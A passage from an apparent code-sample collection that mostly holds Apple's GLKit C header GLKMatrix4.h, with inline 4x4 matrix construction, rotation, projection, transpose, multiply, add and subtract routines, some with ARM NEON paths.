Illegal };\n\ntypedef Field Player;\n"
  },
  {
    "path": "samples/C/GLKMatrix4.h",
    "content": "//\n//  GLKMatrix4.h\n//  GLKit\n//\n//  Copyright (c) 2011, Apple Inc. All rights reserved.\n//\n\n#ifndef __GLK_MATRIX_4_H\n#define __GLK_MATRIX_4_H\n\n#include <stddef.h>\n#include <stdbool.h>\n#include <math.h>\n\n#if defined(__ARM_NEON__)\n#include <arm_neon.h>\n#endif\n\n#include <GLKit/GLKMathTypes.h>\n#include <GLKit/GLKVector3.h>\n#include <GLKit/GLKVector4.h>\n#include <GLKit/GLKQuaternion.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#pragma mark -\n#pragma mark Prototypes\n#pragma mark -\n\nextern const GLKMatrix4 GLKMatrix4Identity;\n\n/*\n m30, m31, and m32 correspond to the translation values tx, ty, tz, respectively.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4Make(float m00, float m01, float m02, float m03,\n                                            float m10, float m11, float m12, float m13,\n                                            float m20, float m21, float m22, float m23,\n                                            float m30, float m31, float m32, float m33);\n\n/*\n m03, m13, and m23 correspond to the translation values tx, ty, tz, respectively.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeAndTranspose(float m00, float m01, float m02, float m03,\n                                                        float m10, float m11, float m12, float m13,\n                                                        float m20, float m21, float m22, float m23,\n                                                        float m30, float m31, float m32, float m33);\n\n/*\n m[12], m[13], and m[14] correspond to the translation values tx, ty, and tz, respectively.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeWithArray(float values[16]);\n\n/*\n m[3], m[7], and m[11] correspond to the translation values tx, ty, and tz, respectively.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeWithArrayAndTranspose(float values[16]);\n\n/*\n row0, row1, and row2's last component should correspond to the translation values tx, ty, and tz, respectively.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeWithRows(GLKVector4 row0,\n                                                    GLKVector4 row1,\n                                                    GLKVector4 row2,\n                                                    GLKVector4 row3);\n\n/*\n column3's first three components should correspond to the translation values tx, ty, and tz.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeWithColumns(GLKVector4 column0,\n                                                       GLKVector4 column1,\n                                                       GLKVector4 column2,\n                                                       GLKVector4 column3);\n\n/*\n The quaternion will be normalized before conversion.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeWithQuaternion(GLKQuaternion quaternion);\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeTranslation(float tx, float ty, float tz);\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeScale(float sx, float sy, float sz);\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeRotation(float radians, float x, float y, float z);\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeXRotation(float radians);\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeYRotation(float radians);\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeZRotation(float radians);\n\n/*\n Equivalent to gluPerspective.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4MakePerspective(float fovyRadians, float aspect, float nearZ, float farZ);\n\n/*\n Equivalent to glFrustum.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeFrustum(float left, float right,\n                                                   float bottom, float top,\n                                                   float nearZ, float farZ);\n\n/*\n Equivalent to glOrtho.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeOrtho(float left, float right,\n                                                 float bottom, float top,\n                                                 float nearZ, float farZ);\n\n/*\n Equivalent to gluLookAt.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeLookAt(float eyeX, float eyeY, float eyeZ,\n                                                  float centerX, float centerY, float centerZ,\n                                                  float upX, float upY, float upZ);\n\n/*\n Returns the upper left 3x3 portion of the 4x4 matrix.\n */\nstatic __inline__ GLKMatrix3 GLKMatrix4GetMatrix3(GLKMatrix4 matrix);\n/*\n Returns the upper left 2x2 portion of the 4x4 matrix.\n */\nstatic __inline__ GLKMatrix2 GLKMatrix4GetMatrix2(GLKMatrix4 matrix);\n\n/*\n GLKMatrix4GetRow returns vectors for rows 0, 1, and 2 whose last component will be the translation value tx, ty, and tz, respectively.\n Valid row values range from 0 to 3, inclusive.\n */\nstatic __inline__ GLKVector4 GLKMatrix4GetRow(GLKMatrix4 matrix, int row);\n/*\n GLKMatrix4GetColumn returns a vector for column 3 whose first three components will be the translation values tx, ty, and tz.\n Valid column values range from 0 to 3, inclusive.\n */\nstatic __inline__ GLKVector4 GLKMatrix4GetColumn(GLKMatrix4 matrix, int column);\n\n/*\n GLKMatrix4SetRow expects that the vector for row 0, 1, and 2 will have a translation value as its last component.\n Valid row values range from 0 to 3, inclusive.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4SetRow(GLKMatrix4 matrix, int row, GLKVector4 vector);\n/*\n GLKMatrix4SetColumn expects that the vector for column 3 will contain the translation values tx, ty, and tz as its first three components, respectively.\n Valid column values range from 0 to 3, inclusive.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4SetColumn(GLKMatrix4 matrix, int column, GLKVector4 vector);\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Transpose(GLKMatrix4 matrix);\n\nGLKMatrix4 GLKMatrix4Invert(GLKMatrix4 matrix, bool *isInvertible);\nGLKMatrix4 GLKMatrix4InvertAndTranspose(GLKMatrix4 matrix, bool *isInvertible);\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Multiply(GLKMatrix4 matrixLeft, GLKMatrix4 matrixRight);\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Add(GLKMatrix4 matrixLeft, GLKMatrix4 matrixRight);\nstatic __inline__ GLKMatrix4 GLKMatrix4Subtract(GLKMatrix4 matrixLeft, GLKMatrix4 matrixRight);\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Translate(GLKMatrix4 matrix, float tx, float ty, float tz);\nstatic __inline__ GLKMatrix4 GLKMatrix4TranslateWithVector3(GLKMatrix4 matrix, GLKVector3 translationVector);\n/*\n The last component of the GLKVector4, translationVector, is ignored.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4TranslateWithVector4(GLKMatrix4 matrix, GLKVector4 translationVector);\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Scale(GLKMatrix4 matrix, float sx, float sy, float sz);\nstatic __inline__ GLKMatrix4 GLKMatrix4ScaleWithVector3(GLKMatrix4 matrix, GLKVector3 scaleVector);\n/*\n The last component of the GLKVector4, scaleVector, is ignored.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4ScaleWithVector4(GLKMatrix4 matrix, GLKVector4 scaleVector);\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Rotate(GLKMatrix4 matrix, float radians, float x, float y, float z);\nstatic __inline__ GLKMatrix4 GLKMatrix4RotateWithVector3(GLKMatrix4 matrix, float radians, GLKVector3 axisVector);\n/*\n The last component of the GLKVector4, axisVector, is ignored.\n */\nstatic __inline__ GLKMatrix4 GLKMatrix4RotateWithVector4(GLKMatrix4 matrix, float radians, GLKVector4 axisVector);\n\nstatic __inline__ GLKMatrix4 GLKMatrix4RotateX(GLKMatrix4 matrix, float radians);\nstatic __inline__ GLKMatrix4 GLKMatrix4RotateY(GLKMatrix4 matrix, float radians);\nstatic __inline__ GLKMatrix4 GLKMatrix4RotateZ(GLKMatrix4 matrix, float radians);\n\n/*\n Assumes 0 in the w component.\n */\nstatic __inline__ GLKVector3 GLKMatrix4MultiplyVector3(GLKMatrix4 matrixLeft, GLKVector3 vectorRight);\n/*\n Assumes 1 in the w component.\n */\nstatic __inline__ GLKVector3 GLKMatrix4MultiplyVector3WithTranslation(GLKMatrix4 matrixLeft, GLKVector3 vectorRight);\n/*\n Assumes 1 in the w component and divides the resulting vector by w before returning.\n */\nstatic __inline__ GLKVector3 GLKMatrix4MultiplyAndProjectVector3(GLKMatrix4 matrixLeft, GLKVector3 vectorRight);\n\n/*\n Assumes 0 in the w component.\n */\nstatic __inline__ void GLKMatrix4MultiplyVector3Array(GLKMatrix4 matrix, GLKVector3 *vectors, size_t vectorCount);\n/*\n Assumes 1 in the w component.\n */\nstatic __inline__ void GLKMatrix4MultiplyVector3ArrayWithTranslation(GLKMatrix4 matrix, GLKVector3 *vectors, size_t vectorCount);\n/*\n Assumes 1 in the w component and divides the resulting vector by w before returning.\n */\nstatic __inline__ void GLKMatrix4MultiplyAndProjectVector3Array(GLKMatrix4 matrix, GLKVector3 *vectors, size_t vectorCount);\n\nstatic __inline__ GLKVector4 GLKMatrix4MultiplyVector4(GLKMatrix4 matrixLeft, GLKVector4 vectorRight);\n\nstatic __inline__ void GLKMatrix4MultiplyVector4Array(GLKMatrix4 matrix, GLKVector4 *vectors, size_t vectorCount);\n\n#pragma mark -\n#pragma mark Implementations\n#pragma mark -\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Make(float m00, float m01, float m02, float m03,\n                                            float m10, float m11, float m12, float m13,\n                                            float m20, float m21, float m22, float m23,\n                                            float m30, float m31, float m32, float m33)\n{\n    GLKMatrix4 m = { m00, m01, m02, m03,\n                     m10, m11, m12, m13,\n                     m20, m21, m22, m23,\n                     m30, m31, m32, m33 };\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeAndTranspose(float m00, float m01, float m02, float m03,\n                                                        float m10, float m11, float m12, float m13,\n                                                        float m20, float m21, float m22, float m23,\n                                                        float m30, float m31, float m32, float m33)\n{\n    GLKMatrix4 m = { m00, m10, m20, m30,\n                     m01, m11, m21, m31,\n                     m02, m12, m22, m32,\n                     m03, m13, m23, m33 };\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeWithArray(float values[16])\n{\n    GLKMatrix4 m = { values[0], values[1], values[2], values[3],\n                     values[4], values[5], values[6], values[7],\n                     values[8], values[9], values[10], values[11],\n                     values[12], values[13], values[14], values[15] };\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeWithArrayAndTranspose(float values[16])\n{\n#if defined(__ARM_NEON__)\n    float32x4x4_t m = vld4q_f32(values);\n    return *(GLKMatrix4 *)&m;\n#else\n    GLKMatrix4 m = { values[0], values[4], values[8], values[12],\n                     values[1], values[5], values[9], values[13],\n                     values[2], values[6], values[10], values[14],\n                     values[3], values[7], values[11], values[15] };\n    return m;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeWithRows(GLKVector4 row0,\n                                                    GLKVector4 row1,\n                                                    GLKVector4 row2,\n                                                    GLKVector4 row3)\n{\n    GLKMatrix4 m = { row0.v[0], row1.v[0], row2.v[0], row3.v[0],\n                     row0.v[1], row1.v[1], row2.v[1], row3.v[1],\n                     row0.v[2], row1.v[2], row2.v[2], row3.v[2],\n                     row0.v[3], row1.v[3], row2.v[3], row3.v[3] };\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeWithColumns(GLKVector4 column0,\n                                                       GLKVector4 column1,\n                                                       GLKVector4 column2,\n                                                       GLKVector4 column3)\n{\n#if defined(__ARM_NEON__)\n    float32x4x4_t m;\n    m.val[0] = vld1q_f32(column0.v);\n    m.val[1] = vld1q_f32(column1.v);\n    m.val[2] = vld1q_f32(column2.v);\n    m.val[3] = vld1q_f32(column3.v);\n    return *(GLKMatrix4 *)&m;\n#else\n    GLKMatrix4 m = { column0.v[0], column0.v[1], column0.v[2], column0.v[3],\n                     column1.v[0], column1.v[1], column1.v[2], column1.v[3],\n                     column2.v[0], column2.v[1], column2.v[2], column2.v[3],\n                     column3.v[0], column3.v[1], column3.v[2], column3.v[3] };\n    return m;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeWithQuaternion(GLKQuaternion quaternion)\n{\n    quaternion = GLKQuaternionNormalize(quaternion);\n\n    float x = quaternion.q[0];\n    float y = quaternion.q[1];\n    float z = quaternion.q[2];\n    float w = quaternion.q[3];\n\n    float _2x = x + x;\n    float _2y = y + y;\n    float _2z = z + z;\n    float _2w = w + w;\n\n    GLKMatrix4 m = { 1.0f - _2y * y - _2z * z,\n                     _2x * y + _2w * z,\n                     _2x * z - _2w * y,\n                     0.0f,\n                     _2x * y - _2w * z,\n                     1.0f - _2x * x - _2z * z,\n                     _2y * z + _2w * x,\n                     0.0f,\n                     _2x * z + _2w * y,\n                     _2y * z - _2w * x,\n                     1.0f - _2x * x - _2y * y,\n                     0.0f,\n                     0.0f,\n                     0.0f,\n                     0.0f,\n                     1.0f };\n\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeTranslation(float tx, float ty, float tz)\n{\n    GLKMatrix4 m = GLKMatrix4Identity;\n    m.m[12] = tx;\n    m.m[13] = ty;\n    m.m[14] = tz;\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeScale(float sx, float sy, float sz)\n{\n    GLKMatrix4 m = GLKMatrix4Identity;\n    m.m[0] = sx;\n    m.m[5] = sy;\n    m.m[10] = sz;\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeRotation(float radians, float x, float y, float z)\n{\n    GLKVector3 v = GLKVector3Normalize(GLKVector3Make(x, y, z));\n    float cos = cosf(radians);\n    float cosp = 1.0f - cos;\n    float sin = sinf(radians);\n\n    GLKMatrix4 m = { cos + cosp * v.v[0] * v.v[0],\n                     cosp * v.v[0] * v.v[1] + v.v[2] * sin,\n                     cosp * v.v[0] * v.v[2] - v.v[1] * sin,\n                     0.0f,\n                     cosp * v.v[0] * v.v[1] - v.v[2] * sin,\n                     cos + cosp * v.v[1] * v.v[1],\n                     cosp * v.v[1] * v.v[2] + v.v[0] * sin,\n                     0.0f,\n                     cosp * v.v[0] * v.v[2] + v.v[1] * sin,\n                     cosp * v.v[1] * v.v[2] - v.v[0] * sin,\n                     cos + cosp * v.v[2] * v.v[2],\n                     0.0f,\n                     0.0f,\n                     0.0f,\n                     0.0f,\n                     1.0f };\n\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeXRotation(float radians)\n{\n    float cos = cosf(radians);\n    float sin = sinf(radians);\n\n    GLKMatrix4 m = { 1.0f, 0.0f, 0.0f, 0.0f,\n                     0.0f, cos, sin, 0.0f,\n                     0.0f, -sin, cos, 0.0f,\n                     0.0f, 0.0f, 0.0f, 1.0f };\n\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeYRotation(float radians)\n{\n    float cos = cosf(radians);\n    float sin = sinf(radians);\n\n    GLKMatrix4 m = { cos, 0.0f, -sin, 0.0f,\n                     0.0f, 1.0f, 0.0f, 0.0f,\n                     sin, 0.0f, cos, 0.0f,\n                     0.0f, 0.0f, 0.0f, 1.0f };\n\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeZRotation(float radians)\n{\n    float cos = cosf(radians);\n    float sin = sinf(radians);\n\n    GLKMatrix4 m = { cos, sin, 0.0f, 0.0f,\n                     -sin, cos, 0.0f, 0.0f,\n                     0.0f, 0.0f, 1.0f, 0.0f,\n                     0.0f, 0.0f, 0.0f, 1.0f };\n\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakePerspective(float fovyRadians, float aspect, float nearZ, float farZ)\n{\n    float cotan = 1.0f / tanf(fovyRadians / 2.0f);\n\n    GLKMatrix4 m = { cotan / aspect, 0.0f, 0.0f, 0.0f,\n                     0.0f, cotan, 0.0f, 0.0f,\n                     0.0f, 0.0f, (farZ + nearZ) / (nearZ - farZ), -1.0f,\n                     0.0f, 0.0f, (2.0f * farZ * nearZ) / (nearZ - farZ), 0.0f };\n\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeFrustum(float left, float right,\n                                                   float bottom, float top,\n                                                   float nearZ, float farZ)\n{\n    float ral = right + left;\n    float rsl = right - left;\n    float tsb = top - bottom;\n    float tab = top + bottom;\n    float fan = farZ + nearZ;\n    float fsn = farZ - nearZ;\n\n    GLKMatrix4 m = { 2.0f * nearZ / rsl, 0.0f, 0.0f, 0.0f,\n                     0.0f, 2.0f * nearZ / tsb, 0.0f, 0.0f,\n                     ral / rsl, tab / tsb, -fan / fsn, -1.0f,\n                     0.0f, 0.0f, (-2.0f * farZ * nearZ) / fsn, 0.0f };\n\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeOrtho(float left, float right,\n                                                 float bottom, float top,\n                                                 float nearZ, float farZ)\n{\n    float ral = right + left;\n    float rsl = right - left;\n    float tab = top + bottom;\n    float tsb = top - bottom;\n    float fan = farZ + nearZ;\n    float fsn = farZ - nearZ;\n\n    GLKMatrix4 m = { 2.0f / rsl, 0.0f, 0.0f, 0.0f,\n                     0.0f, 2.0f / tsb, 0.0f, 0.0f,\n                     0.0f, 0.0f, -2.0f / fsn, 0.0f,\n                     -ral / rsl, -tab / tsb, -fan / fsn, 1.0f };\n\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4MakeLookAt(float eyeX, float eyeY, float eyeZ,\n                                                  float centerX, float centerY, float centerZ,\n                                                  float upX, float upY, float upZ)\n{\n    GLKVector3 ev = { eyeX, eyeY, eyeZ };\n    GLKVector3 cv = { centerX, centerY, centerZ };\n    GLKVector3 uv = { upX, upY, upZ };\n    GLKVector3 n = GLKVector3Normalize(GLKVector3Add(ev, GLKVector3Negate(cv)));\n    GLKVector3 u = GLKVector3Normalize(GLKVector3CrossProduct(uv, n));\n    GLKVector3 v = GLKVector3CrossProduct(n, u);\n\n    GLKMatrix4 m = { u.v[0], v.v[0], n.v[0], 0.0f,\n                     u.v[1], v.v[1], n.v[1], 0.0f,\n                     u.v[2], v.v[2], n.v[2], 0.0f,\n                     GLKVector3DotProduct(GLKVector3Negate(u), ev),\n                     GLKVector3DotProduct(GLKVector3Negate(v), ev),\n                     GLKVector3DotProduct(GLKVector3Negate(n), ev),\n                     1.0f };\n\n    return m;\n}\n\nstatic __inline__ GLKMatrix3 GLKMatrix4GetMatrix3(GLKMatrix4 matrix)\n{\n    GLKMatrix3 m = { matrix.m[0], matrix.m[1], matrix.m[2],\n                     matrix.m[4], matrix.m[5], matrix.m[6],\n                     matrix.m[8], matrix.m[9], matrix.m[10] };\n    return m;\n}\n\nstatic __inline__ GLKMatrix2 GLKMatrix4GetMatrix2(GLKMatrix4 matrix)\n{\n    GLKMatrix2 m = { matrix.m[0], matrix.m[1],\n                     matrix.m[4], matrix.m[5] };\n    return m;\n}\n\nstatic __inline__ GLKVector4 GLKMatrix4GetRow(GLKMatrix4 matrix, int row)\n{\n    GLKVector4 v = { matrix.m[row], matrix.m[4 + row], matrix.m[8 + row], matrix.m[12 + row] };\n    return v;\n}\n\nstatic __inline__ GLKVector4 GLKMatrix4GetColumn(GLKMatrix4 matrix, int column)\n{\n#if defined(__ARM_NEON__)\n    float32x4_t v = vld1q_f32(&(matrix.m[column * 4]));\n    return *(GLKVector4 *)&v;\n#else\n    GLKVector4 v = { matrix.m[column * 4 + 0], matrix.m[column * 4 + 1], matrix.m[column * 4 + 2], matrix.m[column * 4 + 3] };\n    return v;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4SetRow(GLKMatrix4 matrix, int row, GLKVector4 vector)\n{\n    matrix.m[row] = vector.v[0];\n    matrix.m[row + 4] = vector.v[1];\n    matrix.m[row + 8] = vector.v[2];\n    matrix.m[row + 12] = vector.v[3];\n\n    return matrix;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4SetColumn(GLKMatrix4 matrix, int column, GLKVector4 vector)\n{\n#if defined(__ARM_NEON__)\n    float *dst = &(matrix.m[column * 4]);\n    vst1q_f32(dst, vld1q_f32(vector.v));\n    return matrix;\n#else\n    matrix.m[column * 4 + 0] = vector.v[0];\n    matrix.m[column * 4 + 1] = vector.v[1];\n    matrix.m[column * 4 + 2] = vector.v[2];\n    matrix.m[column * 4 + 3] = vector.v[3];\n\n    return matrix;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Transpose(GLKMatrix4 matrix)\n{\n#if defined(__ARM_NEON__)\n    float32x4x4_t m = vld4q_f32(matrix.m);\n    return *(GLKMatrix4 *)&m;\n#else\n    GLKMatrix4 m = { matrix.m[0], matrix.m[4], matrix.m[8], matrix.m[12],\n                     matrix.m[1], matrix.m[5], matrix.m[9], matrix.m[13],\n                     matrix.m[2], matrix.m[6], matrix.m[10], matrix.m[14],\n                     matrix.m[3], matrix.m[7], matrix.m[11], matrix.m[15] };\n    return m;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Multiply(GLKMatrix4 matrixLeft, GLKMatrix4 matrixRight)\n{\n#if defined(__ARM_NEON__)\n    float32x4x4_t iMatrixLeft = *(float32x4x4_t *)&matrixLeft;\n    float32x4x4_t iMatrixRight = *(float32x4x4_t *)&matrixRight;\n    float32x4x4_t m;\n\n    m.val[0] = vmulq_n_f32(iMatrixLeft.val[0], vgetq_lane_f32(iMatrixRight.val[0], 0));\n    m.val[1] = vmulq_n_f32(iMatrixLeft.val[0], vgetq_lane_f32(iMatrixRight.val[1], 0));\n    m.val[2] = vmulq_n_f32(iMatrixLeft.val[0], vgetq_lane_f32(iMatrixRight.val[2], 0));\n    m.val[3] = vmulq_n_f32(iMatrixLeft.val[0], vgetq_lane_f32(iMatrixRight.val[3], 0));\n\n    m.val[0] = vmlaq_n_f32(m.val[0], iMatrixLeft.val[1], vgetq_lane_f32(iMatrixRight.val[0], 1));\n    m.val[1] = vmlaq_n_f32(m.val[1], iMatrixLeft.val[1], vgetq_lane_f32(iMatrixRight.val[1], 1));\n    m.val[2] = vmlaq_n_f32(m.val[2], iMatrixLeft.val[1], vgetq_lane_f32(iMatrixRight.val[2], 1));\n    m.val[3] = vmlaq_n_f32(m.val[3], iMatrixLeft.val[1], vgetq_lane_f32(iMatrixRight.val[3], 1));\n\n    m.val[0] = vmlaq_n_f32(m.val[0], iMatrixLeft.val[2], vgetq_lane_f32(iMatrixRight.val[0], 2));\n    m.val[1] = vmlaq_n_f32(m.val[1], iMatrixLeft.val[2], vgetq_lane_f32(iMatrixRight.val[1], 2));\n    m.val[2] = vmlaq_n_f32(m.val[2], iMatrixLeft.val[2], vgetq_lane_f32(iMatrixRight.val[2], 2));\n    m.val[3] = vmlaq_n_f32(m.val[3], iMatrixLeft.val[2], vgetq_lane_f32(iMatrixRight.val[3], 2));\n\n    m.val[0] = vmlaq_n_f32(m.val[0], iMatrixLeft.val[3], vgetq_lane_f32(iMatrixRight.val[0], 3));\n    m.val[1] = vmlaq_n_f32(m.val[1], iMatrixLeft.val[3], vgetq_lane_f32(iMatrixRight.val[1], 3));\n    m.val[2] = vmlaq_n_f32(m.val[2], iMatrixLeft.val[3], vgetq_lane_f32(iMatrixRight.val[2], 3));\n    m.val[3] = vmlaq_n_f32(m.val[3], iMatrixLeft.val[3], vgetq_lane_f32(iMatrixRight.val[3], 3));\n\n    return *(GLKMatrix4 *)&m;\n#else\n    GLKMatrix4 m;\n\n    m.m[0]  = matrixLeft.m[0] * matrixRight.m[0]  + matrixLeft.m[4] * matrixRight.m[1]  + matrixLeft.m[8] * matrixRight.m[2]   + matrixLeft.m[12] * matrixRight.m[3];\n\tm.m[4]  = matrixLeft.m[0] * matrixRight.m[4]  + matrixLeft.m[4] * matrixRight.m[5]  + matrixLeft.m[8] * matrixRight.m[6]   + matrixLeft.m[12] * matrixRight.m[7];\n\tm.m[8]  = matrixLeft.m[0] * matrixRight.m[8]  + matrixLeft.m[4] * matrixRight.m[9]  + matrixLeft.m[8] * matrixRight.m[10]  + matrixLeft.m[12] * matrixRight.m[11];\n\tm.m[12] = matrixLeft.m[0] * matrixRight.m[12] + matrixLeft.m[4] * matrixRight.m[13] + matrixLeft.m[8] * matrixRight.m[14]  + matrixLeft.m[12] * matrixRight.m[15];\n\n\tm.m[1]  = matrixLeft.m[1] * matrixRight.m[0]  + matrixLeft.m[5] * matrixRight.m[1]  + matrixLeft.m[9] * matrixRight.m[2]   + matrixLeft.m[13] * matrixRight.m[3];\n\tm.m[5]  = matrixLeft.m[1] * matrixRight.m[4]  + matrixLeft.m[5] * matrixRight.m[5]  + matrixLeft.m[9] * matrixRight.m[6]   + matrixLeft.m[13] * matrixRight.m[7];\n\tm.m[9]  = matrixLeft.m[1] * matrixRight.m[8]  + matrixLeft.m[5] * matrixRight.m[9]  + matrixLeft.m[9] * matrixRight.m[10]  + matrixLeft.m[13] * matrixRight.m[11];\n\tm.m[13] = matrixLeft.m[1] * matrixRight.m[12] + matrixLeft.m[5] * matrixRight.m[13] + matrixLeft.m[9] * matrixRight.m[14]  + matrixLeft.m[13] * matrixRight.m[15];\n\n\tm.m[2]  = matrixLeft.m[2] * matrixRight.m[0]  + matrixLeft.m[6] * matrixRight.m[1]  + matrixLeft.m[10] * matrixRight.m[2]  + matrixLeft.m[14] * matrixRight.m[3];\n\tm.m[6]  = matrixLeft.m[2] * matrixRight.m[4]  + matrixLeft.m[6] * matrixRight.m[5]  + matrixLeft.m[10] * matrixRight.m[6]  + matrixLeft.m[14] * matrixRight.m[7];\n\tm.m[10] = matrixLeft.m[2] * matrixRight.m[8]  + matrixLeft.m[6] * matrixRight.m[9]  + matrixLeft.m[10] * matrixRight.m[10] + matrixLeft.m[14] * matrixRight.m[11];\n\tm.m[14] = matrixLeft.m[2] * matrixRight.m[12] + matrixLeft.m[6] * matrixRight.m[13] + matrixLeft.m[10] * matrixRight.m[14] + matrixLeft.m[14] * matrixRight.m[15];\n\n\tm.m[3]  = matrixLeft.m[3] * matrixRight.m[0]  + matrixLeft.m[7] * matrixRight.m[1]  + matrixLeft.m[11] * matrixRight.m[2]  + matrixLeft.m[15] * matrixRight.m[3];\n\tm.m[7]  = matrixLeft.m[3] * matrixRight.m[4]  + matrixLeft.m[7] * matrixRight.m[5]  + matrixLeft.m[11] * matrixRight.m[6]  + matrixLeft.m[15] * matrixRight.m[7];\n\tm.m[11] = matrixLeft.m[3] * matrixRight.m[8]  + matrixLeft.m[7] * matrixRight.m[9]  + matrixLeft.m[11] * matrixRight.m[10] + matrixLeft.m[15] * matrixRight.m[11];\n\tm.m[15] = matrixLeft.m[3] * matrixRight.m[12] + matrixLeft.m[7] * matrixRight.m[13] + matrixLeft.m[11] * matrixRight.m[14] + matrixLeft.m[15] * matrixRight.m[15];\n\n    return m;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Add(GLKMatrix4 matrixLeft, GLKMatrix4 matrixRight)\n{\n#if defined(__ARM_NEON__)\n    float32x4x4_t iMatrixLeft = *(float32x4x4_t *)&matrixLeft;\n    float32x4x4_t iMatrixRight = *(float32x4x4_t *)&matrixRight;\n    float32x4x4_t m;\n\n    m.val[0] = vaddq_f32(iMatrixLeft.val[0], iMatrixRight.val[0]);\n    m.val[1] = vaddq_f32(iMatrixLeft.val[1], iMatrixRight.val[1]);\n    m.val[2] = vaddq_f32(iMatrixLeft.val[2], iMatrixRight.val[2]);\n    m.val[3] = vaddq_f32(iMatrixLeft.val[3], iMatrixRight.val[3]);\n\n    return *(GLKMatrix4 *)&m;\n#else\n    GLKMatrix4 m;\n\n    m.m[0] = matrixLeft.m[0] + matrixRight.m[0];\n    m.m[1] = matrixLeft.m[1] + matrixRight.m[1];\n    m.m[2] = matrixLeft.m[2] + matrixRight.m[2];\n    m.m[3] = matrixLeft.m[3] + matrixRight.m[3];\n\n    m.m[4] = matrixLeft.m[4] + matrixRight.m[4];\n    m.m[5] = matrixLeft.m[5] + matrixRight.m[5];\n    m.m[6] = matrixLeft.m[6] + matrixRight.m[6];\n    m.m[7] = matrixLeft.m[7] + matrixRight.m[7];\n\n    m.m[8] = matrixLeft.m[8] + matrixRight.m[8];\n    m.m[9] = matrixLeft.m[9] + matrixRight.m[9];\n    m.m[10] = matrixLeft.m[10] + matrixRight.m[10];\n    m.m[11] = matrixLeft.m[11] + matrixRight.m[11];\n\n    m.m[12] = matrixLeft.m[12] + matrixRight.m[12];\n    m.m[13] = matrixLeft.m[13] + matrixRight.m[13];\n    m.m[14] = matrixLeft.m[14] + matrixRight.m[14];\n    m.m[15] = matrixLeft.m[15] + matrixRight.m[15];\n\n    return m;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Subtract(GLKMatrix4 matrixLeft, GLKMatrix4 matrixRight)\n{\n#if defined(__ARM_NEON__)\n    float32x4x4_t iMatrixLeft = *(float32x4x4_t *)&matrixLeft;\n    float32x4x4_t iMatrixRight = *(float32x4x4_t *)&matrixRight;\n    float32x4x4_t m;\n\n    m.val[0] = vsubq_f32(iMatrixLeft.val[0], iMatrixRight.val[0]);\n    m.val[1] = vsubq_f32(iMatrixLeft.val[1], iMatrixRight.val[1]);\n    m.val[2] = vsubq_f32(iMatrixLeft.val[2], iMatrixRight.val[2]);\n    m.val[3] = vsubq_f32(iMatrixLeft.val[3], iMatrixRight.val[3]);\n\n    return *(GLKMatrix4 *)&m;\n#else\n    GLKMatrix4 m;\n\n    m.m[0] = matrixLeft.m[0] - matrixRight.m[0];\n    m.m[1] = matrixLeft.m[1] - matrixRight.m[1];\n    m.m[2] = matrixLeft.m[2] - matrixRight.m[2];\n    m.m[3] = matrixLeft.m[3] - matrixRight.m[3];\n\n    m.m[4] = matrixLeft.m[4] - matrixRight.m[4];\n    m.m[5] = matrixLeft.m[5] - matrixRight.m[5];\n    m.m[6] = matrixLeft.m[6] - matrixRight.m[6];\n    m.m[7] = matrixLeft.m[7] - matrixRight.m[7];\n\n    m.m[8] = matrixLeft.m[8] - matrixRight.m[8];\n    m.m[9] = matrixLeft.m[9] - matrixRight.m[9];\n    m.m[10] = matrixLeft.m[10] - matrixRight.m[10];\n    m.m[11] = 